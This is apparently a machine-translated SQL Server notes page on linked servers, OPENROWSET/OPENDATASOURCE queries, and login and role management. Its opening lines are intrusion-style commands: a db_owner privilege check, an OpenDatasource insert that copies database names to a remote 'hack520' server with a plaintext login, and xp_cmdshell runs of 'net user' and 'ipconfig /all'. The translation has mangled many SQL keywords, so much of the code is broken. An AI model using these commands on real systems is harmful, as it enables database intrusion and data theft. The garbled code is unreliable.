openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
Vyberte * z openquery(toatdeweb,'select
srvname z master.dbo.sysservers')
Vložiť do OpenDatasource
('sqloledb','server=222.241.95.12; uid = SCD; pwd=a123520; database=hack520').hack520.dbo.zhu vybrať
názov z master.dbo.sysdatabases vytvoriť databázu hack520 Vytvoriť TABUĽKU zhu(meno nvarchar(256)
null); Create TABLE J8(id int NULL, name nvarchar(256) null);
Vyberte * z OpenQuery
(toatdeweb,'set fmtonly off executive master.dbo.xp_cmdshell ''net user'')
Výkonný majster.. xp_dirtree
'c:\',1,1 Vykonajte adresár dotazov
Exec Links.Master.. xp_cmdshell 'ipconfig'
select * from openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all'')
Connect mysql Select * z Mem_DB. UserDB.dbo.AdminList
VÝKONNÝ MAJSTER.. XP_dirtree 'c:\',1,1
Exec
master.dbo.xp_cmdshell 'dir'
Vyberte count(*) z [indicate] Opýtajte sa, koľko dát sa nachádza v aktuálnej tabuľke
Select distinct hostname,db_name(dbid),net_address,loginame,program_name
od majstra.. Sysprocesy
Vyberte * z gamedb01. Server01.dbo.cabal_character_table kde meno='
Prasa'
Keď ho vymažete, zobrazí sa to: Databáza sa používa a nedá sa vymazať.
Kliknite na databázu, ktorú chcete vymazať, aby ste otvorili Event Viewer.
Vstup:
Použitie
Majster Choď Potom zadajte nasledujúce: Declare @d Varchar(8000) Set @d= ' ' vybrať @d=@d+ ' zabiť
'+cast(spid ako Varchar)+char(13) od majstra.. sysprocesses, kde dbid=db_id('názov knižnice') exec(@d) -- Použite kód na vymazanie procesu, ktorý sa najskôr pripája k tejto databáze
MSSQL prevádzkuje Oracle cez LinkServer
1) Inštalácia Oracle na server SQL_SERVER 2005
9i klient. Predpokladajme, že inštalujete do adresára C:\ora92i\. Ak je D: NTFS partícia, musíte nastaviť nainštalovaný adresár ORACLE ako ten, ktorý sa používa
Predplatitelia majú právo spúšťať, pridávať a mazať.
2) Nakonfigurujte súbor C:\ora92i\network\ADMIN\tnsnames.ora. (Nasledujúci červený text je príkladom konfigurácie)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Spustite nasledujúci príkaz v DOS režime, aby ste potvrdili, že ORACLE klient je správne nainštalovaný.
SQLPLUS používateľ/password@ORCL
4) Otvorte Start - Ovládací panel - Služby a potvrďte, že služba Distributed Transaction Coordinator je spustená.
5) Open SQL SERVER Management Studio, názov inštancie (ORCL) - Serverový objekt (pravé kliknutie) - Nový pripojovací server.
1.
Link server: Napíšte názov prepojeného servera, napríklad OracleTest
2. Typ servera, vyberte iný zdroj dát
3. Prístupové rozhranie: Select Oracle Provider for OLE DB
4. Názov produktu: Napíšte Oracle
5. Zdroj údajov: Zápis
Názov služby sa konfiguroval v súbore tnsnames.ora, napríklad ORCL
6. Reťazec prístupového rozhrania: userid=sys ako sysdba; password=password
7. Na stránke Výber bezpečnostných možností použite tento inštalačný kontext na nadviazanie spojenia:
a) Vzdialené prihlásenie: používateľ (iný používateľ, nie sys)
b)
Použite heslo: heslo
8. Nastavte "NT AUTHORITY\SYSTEM" na lokálne prihlásenie, systém vzdialeného používateľa a heslo
9.
Si si istý
6) Existujú dva spôsoby, ako písať SQL
a) Použitie T-SQL syntaxe:
VYBRAŤ * Z
OraTest.ERP.BAS_ITEM_CLASS
Všimnite si, že pri zadávaní SQL príkazov v SQL Query Analyzeri venujte pozornosť čínskemu prepínaniu plnej a polovičnej šírky
Cesta!
b) Použitie PLSQL syntaxe: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Druhý prístup je približne o 50 % rýchlejší ako prvý; Druhá metóda prístupu je priamo prepojená
ORACLE je porovnateľný; Prvá metóda prístupu môže viesť k niektorým neočakávaným chybám, ako napríklad: Tabuľka neexistuje, ani súčasný používateľ
K stolu nie je prístup, a tak ďalej.
d) Ak stĺpec, ku ktorému treba pristupovať, používa dátové typy bez presnosti, obe tieto
Toto je chyba v ORACLE, ktorú nie je možné opraviť a dá sa jej vyhnúť len špeciálnym spracovaním dotazových príkazov:
Metadáta poskytované poskytovateľom OLE DB 'OraOLEDB.Oracle' pre stĺpce sú nekonzistentné. Informácie o metadátach sa menia pri vykonávaní.
MSSQL pridané
Vymažte používateľa a udeľte oprávnenia
Použi názov svojej knižnice Choď --Pridať používateľov Exec sp_addlogin 'test' – pridať prihlásenie exec
sp_grantdbaccess N'test' – čím sa stal legitímnym používateľom aktuálnej databázy exec sp_addrolemember N'db_owner',
N'test' – udeľuje všetky oprávnenia k vlastnej databáze --Týmto vznikajú používatelia, ktorí majú prístup len k vlastnej databáze a k tomu, čo je v databáze zahrnuté
Verejná tabuľka pre hosťujúcich používateľov Choď --Odstrániť testovacieho používateľa exec sp_revokedbaccess N'test' -- Odstrániť prístup do databázy
Limit exec sp_droplogin N'test' -- vymazať prihlásenie Ak ho vytvoríte v Enterprise Manageri, použite: Enterprise Manager - Bezpečnosť
Sex --Pravé kliknutie na prihlásenie--Nové prihlásenie Všeobecné položky --Zadajte používateľské meno do názvu
--Spôsob autentifikácie sa vyberá podľa vašich potrieb (ak používate autentifikáciu Windows, musíte najskôr vytvoriť nového používateľa medzi používateľmi operačného systému)
--V predvolených nastaveniach vyberte názov databázy, ku ktorému chcete pristupovať pre nového používateľa Položka roly servera Nevyberaj si nič v tomto databáza
Prístup k položke Skontrolujte názov databázy, ku ktorej chcete pristupovať pre používateľa, ktorého vytvoríte Povoliť v databázovej úlohe zaškrtnúť "verejné", "db_ownew" Jasné, toto
Používateľ vytvorený vzorkou je rovnaký ako používateľ vytvorený vyššie uvedeným vyhlásením
Posledným krokom je nastaviť špecifické prístupové oprávnenia pre konkrétnych používateľov, ktoré možno odkázať na nasledujúci minimálny príklad:
--Pridať používateľov, ktorí majú prístup iba k zadanej tabuľke: Exec sp_addlogin 'používateľské meno', 'heslo', 'predvolený názov databázy'
--pridať do databázy exec sp_grantdbaccess 'používateľské meno'
--Priradiť oprávnenia celým tabuľkám POVOLIŤ SELECT , VLOŽIŤ , AKTUALIZOVAŤ , DELETE NA TABLE1 DO [používateľské meno] --Priradiť oprávnenia konkrétnym stĺpcom GRANT SELECT , AKTUALIZÁCIA NA TABLE1(id,AA) NA [používateľské meno]
Pre konkrétne bezpečnostné nastavenia a teoretické poznatky si prosím pozrite SQL Online Help
Popis úlohy v pevnej databáze db_owner Mať plné oprávnenia v databáze.
db_accessadmin Môžete pridávať alebo odstraňovať používateľské ID.
db_securityadmin Dokáže spravovať plné oprávnenia, vlastníctvo objektov, roly a členstvá v rolách.
db_ddladmin môže vydávať VŠETKY DDL, ale nie GRANT, REVOKE alebo PENY.
db_backupoperator môže vydávať príkazy DBCC, CHECKPOINT a BACKUP.
db_datareader Môžete vybrať všetky údaje z akejkoľvek používateľskej tabuľky v databáze.
db_datawriter Môžete zmeniť všetky údaje v akejkoľvek používateľskej tabuľke v databáze.
db_denydatareader Nemôžete vybrať žiadne údaje z žiadnej používateľskej tabuľky v databáze.
db_denydatawriter Nemôžete meniť žiadne údaje v žiadnej používateľskej tabuľke v databáze.
Mali by ste si vybrať db_datareader, db_datawriter db_accessadmin
5. Po spustení SQL Server inštancie v režime jedného používateľa môže administrátorský účet Windows použiť nástroj sqlcmd na pripojenie v režime autentifikácie Windows
SQL Server。 Môžete použiť príkazy T-SQL ako "sp_addsrvrolemember" na pridanie existujúceho prihlásenia do roly sysadmin servera
Alebo si vytvorte nový prihlasovací účet. Príklad tvrdenia je nasledovný:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
CHOĎ
Pridajte oprávnenie správcu systému
(1) Spravovať roly servera
V SQL Serveri existujú dve hlavné uložené procedúry, ktoré implementujú správu rolí SQL Server:
sp_addsrvrolemember
a sp_dropsrvrolemember
sp_addsrvrolemember Môžete pridať prihlasovací účet do roly servera, aby sa stal členom tejto roly. Syntax je nasledovná: sp_addsrvrolemember
prihlásiť sa, rola
sp_dropsrvrolemember Môžete vymazať prihlasovací účet z roly servera a keď je člen odstránený zo serverovej roly, už túto rolu nemá
Povolenia nastavené. Syntax je nasledovná: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
do toho
@loginname je meno prihláseného používateľa; @rolename je pozícia servera.
(2) Správa databázových rolí
V SQL Serveri je podporovaná správa databáz
Existuje šesť hlavných typov uložených procedúr a ich konkrétne významy a syntax sú nasledovné:
sp_addrole: Použité na vytvorenie novej databázovej roly; sp_addrole
Úloha, majiteľ
sp_droprole: Používa sa na odstránenie databázovej úlohy z aktuálnej databázovej roly; sp_droprole úloha
sp_helprole:
Používa sa na zobrazenie všetkých informácií o všetkých databázových rolách v aktuálnej databáze; sp_helprole ['rola']
sp_addrolemember: Používa sa na odosielanie do databázy
Pridajte databázových používateľov do roly, ktorá môže byť používateľom definovaná štandardná rola alebo pevné databázové roly, ale nemôže byť
Aplikačné pozície. sp_addrolemember úloha, security_account
sp_droprolemember: Používa sa na vymazanie určitej postavy
domácnosti; sp_droprolemember úlohu, security_account
sp_helprolemember: Používa sa na zobrazenie všetkých členov databázovej roly
。 sp_helprolemember ['rola']
Dotaz MSSQL LINKSERVER
---------------------------------------------------------------------------------- -- Autor:
htl258(Tony) -- Dátum : 2010-06-25 22:23:18 -- Verzia: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9. júl 2008 14:43:34 -- Copyright (c) 1988-2008 Microsoft Corporation --
Developer Edition na Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Predmet: SQL dátové operácie medzi rôznymi serverovými databázami ---------------------------------------------------------------------------------- --1. Vytvorte link server --1.1 Vytvoriť názov odkazu EXEC sp_addlinkedserver 'LinkName','',', 'SQLOLEDB',' názov vzdialeného servera
alebo IP adresu' -- Ak máte vlastné meno inštancie, pridajte "\názov inštancie"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Vytvorte si prihlasovacie číslo (alebo vytvorte prihlasovaciu mapu na linkový server) (stačí si vybrať jeden spôsob) --1.2.1 Prihlásenie pomocou Windows autentifikácie EXEC sp_addlinkedsrvlogin 'LinkName' --alebo EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Prihlásenie pomocou SQL autentifikácie EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Username', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */ --2. Dátové operácie súvisiace s linkovým serverom --2.1 Príklad dotazu VYBRAŤ * Z LinkName.database name.schema name.table name name
/*例如:SELECT *
Z TonyLink.Mydb.dbo.tb */ -- 2.2 Príklad importu VYBERTE * DO názvu tabuľky Z LinkName.database name.schema name.table name name
/*例如:SELECT * INTO Newtb
Z TonyLink.Mydb.dbo.tb */ -- 2.3 Príklad aktualizácie UPDATE LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE pole ='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' KDE Persons='a' */ -- 2.4 Vymazať príklady DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb KDE osoby='g' */ --3 cez funkciu rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metóda
- 3.1 Metóda OPENQUERY (vyžaduje pomoc linkového servera, ktorý ste práve vytvorili): -- 3.1.1 Príklad dotazu SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM názov databázy. Názov architektúry. názov tabuľky')
/* Napríklad: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Importné príklady --3.1.2.1 Importovať všetky stĺpce INSERT OPENQUERY(LinkName, 'SELECT * FROM názov databázy. Názov architektúry. Názov tabuľky
') VYBRAŤ * Z lokálnej tabuľky
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
Z TB */ --3.1.2.2 Importujte špecifikované stĺpce INSERT OPENQUERY(LinkName, 'SELECT * FROM názov databázy. Názov architektúry. názov tabuľky') (stĺpček, stĺpec...) SELECT stĺpec,
Stĺpček... Z miestnej tabuľky
/* Napríklad: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) VYBRAŤ
ROZSAH, ÚROVEŇ, OSOBY Z TUBERKULÓZY */ --3.1.3 Príklady aktualizácií AKTUALIZOVAŤ OPENQUERY(LinkName, 'SELECT * FROM názov databázy. Názov architektúry. názov tabuľky') pole SET = 'hodnota' KDE slovo
Segment = 'Podmienka'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Osoby='a' */ --3.1.4 Vymazať príklady DELETE OPENQUERY(LinkName, 'SELECT * FROM názov databázy. Názov architektúry. názov tabuľky') KDE názov poľa='podmienka'
/*例
Napríklad: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') KDE Persons='g' */ --3.2 Metóda OPENROWSET (nemusíš používať vytvorený názov odkazu.) Ak názov pripojenej inštancie nie je predvolený, musíte ho nastaviť na názov SQL servera alebo IP adresu.
"\názov inštancie") --3.2.1 Príklad dotazu --3.2.1.1 Dotaz na spôsob autentifikácie vo Windows (jedna z nasledujúcich metód je postačujúca) SELECT * FROM OPENROWSET('SQLOLEDB', 'server=sql server name alebo
IP adresu; Trusted_Connection=áno', názov databázy. Názov architektúry. Názov tabuľky) SELECT * FROM OPENROWSET('SQLNCLI',
'server=názov SQL servera alebo IP adresa; Trusted_Connection=áno', názov databázy. Názov architektúry. Názov tabuľky) VYBRAŤ * Z
OPENROWSET('SQLOLEDB', 'server=názov sql servera alebo IP adresa; Trusted_Connection=áno','VYBRAŤ * Z databázy
Meno. Názov architektúry. názov tabuľky') SELECT * FROM OPENROWSET('SQLNCLI', 'server=názov sql servera alebo IP adresa
Adresa; Trusted_Connection=áno','VYBRAŤ * Z názvu databázy. Názov architektúry. názov tabuľky')
/* Napríklad: SELECT * FROM OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Alebo: VYBRAŤ * Z OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Alebo: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=áno','VYBRAŤ *
Z Mydb.dbo.tb')
Alebo: VYBERTE * Z OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=áno','VYBRAŤ *
Z Mydb.dbo.tb') */ --3.2.1.2 SQL Authentication Method Query (Jedna z nasledujúcich metód je postačujúca) VYBRAŤ * Z OPENROWSET
('SQLOLEDB', 'server=názov SQL servera alebo IP adresa; uid=používateľské meno; pwd=password', názov databázy. Názov architektúry. Názov tabuľky) VYBRAŤ * Z
OPENROWSET('SQLNCLI', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password', názov databázy. Názov architektúry. Názov tabuľky) SELECT * FROM OPENROWSET('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password','SELECT *
FROM názov databázy. Názov architektúry. názov tabuľky') SELECT * FROM OPENROWSET('SQLNCLI', 'server=názov sql servera alebo IP adresa; uid=
Používateľské meno; pwd=password','SELECT * FROM názov databázy. Názov architektúry. názov tabuľky') SELECT * FROM OPENROWSET('SQLOLEDB', 'sql
názov servera'; 'používateľské meno'; 'heslo', názov databázy. Názov architektúry. Názov tabuľky) VYBERTE * Z OPENROWSET('SQLNCLI', 'SQL SERVER NAME
'; 'používateľské meno'; 'heslo', názov databázy. Názov architektúry. Názov tabuľky) VYBERTE * Z OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; '
meno'; 'Heslo', 'VYBRAŤ * Z názvu databázy. Názov architektúry. názov tabuľky') SELECT * FROM OPENROWSET('SQLNCLI', 'sql Server
meno'; 'používateľské meno'; 'Heslo', 'VYBRAŤ * Z názvu databázy. Názov architektúry. názov tabuľky')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb) Alebo: VYBRAŤ * Z OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb) Alebo: VYBRAŤ * Z OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
alebo: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VYBRAŤ * Z
Mydb.dbo.tb')
alebo: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
alebo: VYBRAŤ * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
alebo: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','VYBRAŤ * Z Mydb.dbo.tb')
alebo: VYBRAŤ * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','VYBRAŤ * Z Mydb.dbo.tb') */ --3.2.2 Import príklad --3.2.2.1 Importovať všetky stĺpce INSERT OPENROWSET('SQLOLEDB', 'server=názov SQL servera alebo IP adresa
Adresa; uid=používateľské meno; pwd=password', názov databázy. Názov architektúry. Názov tabuľky) VYBRAŤ * Z lokálnej tabuľky
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb) VYBRAŤ * Z TB */ --3.2.2.2 Import
Špecifikovať stĺpce INSERT OPENROWSET('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password', názov databázy. Rack
Názov konštruktu. názov tabuľky) (stĺpček, stĺpec...) SELECT stĺpec, stĺpec... Z miestnej tabuľky
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ROZSAH,ÚROVEŇ,Osoby) VYBRAŤ
ROZSAH, ÚROVEŇ, OSOBY Z TUBERKULÓZY */ --Poznámka: Pre alternatívnejšie metódy sa pozrite na príklad dotazu .2.1, jednoducho nahraďte funkciu OPENROWSET
Obsah je dostatočný. --3.2.3 Príklad aktualizácie AKTUALIZOVAŤ OPENROWSET('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno
;p wd=password', názov databázy. Názov architektúry. Názov tabuľky) Pole SET = 'hodnota' KDE pole = 'podmienka'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb) SET Persons='g' KDE osoby = 'a' */ --Poznámka: Pre alternatívnejšie metódy sa pozrite na príklad dotazu .2.1, jednoducho nahraďte obsah v OPENROWSET. --3.2.4 Vymazať indikáciu
Príklad DELETE OPENROWSET('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password', názov databázy. Názov schémy
.table name) KDE názov poľa='podmienka'
/* Napríklad: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb) KDE
Persons='g' */ --Poznámka: Pre ďalšie alternatívne metódy pozri príklad dotazu .2.1, stačí nahradiť obsah v OPENROWSET. --3.3 OPENDATASOURCE metóda
(Nemusíte používať vytvorený názov odkazu.) Ak názov inštancie pripojenia nie je predvolený, musíte pridať \inštanciu za názov SQL servera alebo IP adresu
") --3.3.1 Príklad dotazu --3.3.1.1 Dotaz na autentifikačnú metódu Windows (Jedna z nasledujúcich metód je postačujúca) SELECT * FROM OPENDATASOURCE('SQLOLEDB',
'server=názov SQL servera alebo IP adresa; Trusted_Connection=áno'). Názov databázy. Názov architektúry. Názov tabuľky VYBRAŤ * Z
OPENDATASOURCE('SQLNCLI', 'server=názov sql servera alebo IP adresa; Trusted_Connection=áno'). Názov databázy. Názov architektúry.
Názov tabuľky
/* Napríklad: VYBRAŤ * Z OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=áno'). Mydb.dbo.tb
Alebo: VYBERTE * Z OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=áno'). Mydb.dbo.tb */ --3.3.1.2 Dotaz na metódu autentifikácie SQL (jedna z nasledujúcich metód je postačujúca) SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'server=názov sql servera alebo
IP adresu; uid=používateľské meno; pwd=password'). Názov databázy. Názov architektúry. Názov tabuľky VYBERTE * Z OPENDATASOURCE ('SQLNCLI', 'server=názov sql servera alebo IP adresa; uid=používateľ
Meno; pwd=password'). Názov databázy. Názov architektúry. Názov tabuľky SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=názov sql servera alebo IP adresa
Adresa; uid=používateľské meno; pwd=password'). Názov databázy. Názov architektúry. Názov tabuľky SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=názov sql servera alebo IP adresa
Adresa; uid=používateľské meno; pwd=password'). Názov databázy. Názov architektúry. Názov tabuľky
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Alebo: VYBERTE * Z OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Alebo: VYBERTE * Z OPENDATASOURCE ('SQLOLEDB','Data
Zdroj=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Alebo: VYBERTE * Z OPENDATASOURCE ('SQLNCLI','Data
zdroj=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importovať všetky stĺpce INSERT OPENDATASOURCE('SQLOLEDB', 'server=názov SQL servera alebo IP adresa; uid=používateľské meno; pwd=password').
Podľa názvu knižnice. Názov architektúry. Názov tabuľky VYBRAŤ * Z lokálnej tabuľky
/* Napríklad: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb VYBRAŤ
* Z tuberkulózy */ --3.3.2.2 Importujte špecifikované stĺpce INSERT OPENDATASOURCE('SQLOLEDB', 'server=názov SQL servera alebo IP adresa; uid=používateľské meno; pwd=password').
Podľa názvu knižnice. Názov architektúry. Názov tabuľky (stĺpec, stĺpec...) SELECT stĺpec, stĺpec... Z miestnej tabuľky
/* Napríklad: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(VZDIALENOSŤ, ÚROVEŇ, Osoby) VYBERTE ROZSAH, ÚROVEŇ,Osoby Z TB */ --Poznámka: Pre ďalšie alternatívne metódy pozri príklad dotazu .3.1, stačí nahradiť obsah vo funkcii riadkovej sady (OPENDATASOURCE). --3.3.3 Príklad aktualizácie AKTUALIZOVAŤ OPENDATASOURCE ('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password'). Názov databázy. Názov architektúry. Názov tabuľky Pole SET = 'hodnota' KDE pole = 'podmienka'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' KDE osoby = 'a' */ --Poznámka: Pre ďalšie alternatívne metódy pozri príklad dotazu .3.1, stačí nahradiť obsah vo funkcii riadkovej sady (OPENDATASOURCE). --3.3.4 Príklad vymazania DELETE OPENDATASOURCE('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password'). Názov databázy. Názov architektúry. Názov tabuľky KDE názov poľa='podmienka'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb KDE osoby = 'g' */ - Poznámka: Viac alternatív
Pozrite sa na príklad dotazu .3.1, stačí nahradiť obsah v funkcii rowset (OPENDATASOURCE). -- Vymazať metódu prepojeného servera --Ak už v budúcnosti nebudete používať informácie o odkaze, môžete ich vymazať --4.1 Vymažte prihlasovacie údaje (alebo vymažte mapu prihlasovacích mien prepojeného servera) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* Napríklad: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Vymažte prepojený názov servera EXEC sp_dropserver 'LinkName', 'droplogins' – ak sú špecifikované droploginy, Prihlasovacia mapa musí byť pred vymazaním prepojeného servera vymazaná
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Pripojené
: Ako získať meno poskytovateľa (EXEEC master). xp_enum_oledb_providers) SELECT CAST([Názov poskytovateľa] AKO
VARCHAR(30)) PoskytovateľMeno, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion Z
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=áno', 'SPUSTITE FMTONLY; EXEC
Majster.. xp_enum_oledb_providers'
)
|